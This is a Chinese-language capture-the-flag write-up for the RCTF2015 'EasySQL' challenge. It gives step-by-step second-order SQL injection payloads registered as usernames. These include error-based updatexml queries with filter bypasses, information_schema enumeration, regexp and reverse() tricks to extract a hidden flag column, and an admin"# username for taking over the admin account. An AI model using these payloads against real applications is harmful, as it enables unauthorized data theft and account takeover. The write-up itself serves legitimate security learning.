[RCTF2015]EasySQL 二次注入 regexp指定字段 reverse逆序输出

第一眼没看出来 我以为是伪造管理员

就先去测试管理员账号

去register.php

注册 首先先注册一个自己的账号

我喜欢用admin123

[RCTF2015]EasySQL 二次注入 regexp指定字段 reverse逆序输出_第1张图片

[RCTF2015]EasySQL 二次注入 regexp指定字段 reverse逆序输出_第2张图片

发现里面存在修改密码的内容 那么肯定链接到数据库了

题目又提示是sql

那我们看看能不能修改管理员密码

首先我们猜测闭合

通过用户名

admin"

然后点击修改密码 进行修改密码

发现报错了

这里我们就可以先进行判断sql语句了

select  * from users where username="admin"" and pwd='21232f297a57a5a743894a0e4a801fc3

那我们这里就很简单了 因为修改成功没有回显 报错有回显

我们直接报错注入即可

admin"or(updatexml(1,0x7e,4))#

[RCTF2015]EasySQL 二次注入 regexp指定字段 reverse逆序输出_第3张图片

发现报错了 肯定存在过滤

那我们fuzz一下

[RCTF2015]EasySQL 二次注入 regexp指定字段 reverse逆序输出_第4张图片

and 和 空格被过滤

绕过即可

admin"or(updatexml(1,0x7e,4))#

报错成功

我们开始注入

admin"or(updatexml(1,concat(0x7e,database()),3))#

数据库为 web_sqli


admin"or(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema="web_sqli"))),4))#

爆出表名为 article,flag,users


admin"or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name="users"))),4))#


这里就有一个坑

报错出来是错的。。。。  应该是here

晕咯 学习一下函数

regexp 

regexp('^r')

 这个函数可以通过正则来匹配字段 这里就是 r开头的字段

admin"or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name="users")&&(column_name)regexp('^r'))),4))#

[RCTF2015]EasySQL 二次注入 regexp指定字段 reverse逆序输出_第5张图片

接着写

admin"or(updatexml(1,concat(0x7e,(select(group_concat(real_flag_1s_here))from(users))),4))#

[RCTF2015]EasySQL 二次注入 regexp指定字段 reverse逆序输出_第6张图片

 flag开头 那我们直接查f开头即可

admin"or(updatexml(1,concat(0x7e,(select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('^f'))),4))#

[RCTF2015]EasySQL 二次注入 regexp指定字段 reverse逆序输出_第7张图片

还有一半无法读取 并且无法使用

看了wp 使用逆序输出 然后使用脚本恢复即可

reverse

admin"or(updatexml(1,concat(0x7e,reverse((select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('^f')))),4))#

[RCTF2015]EasySQL 二次注入 regexp指定字段 reverse逆序输出_第8张图片

flag='}0e330032cd22-f828-d154-53d8-6e'
flag=flag[::-1]
print(flag)

拼接即可得出flag

其他

提一嘴 我们只要知道了闭合就可以修改管理员密码了

admin"#

然后修改 密码 就可以登入 admin账号了 但是这道题没有用就是了

你可能感兴趣的:(BUUctf,sql)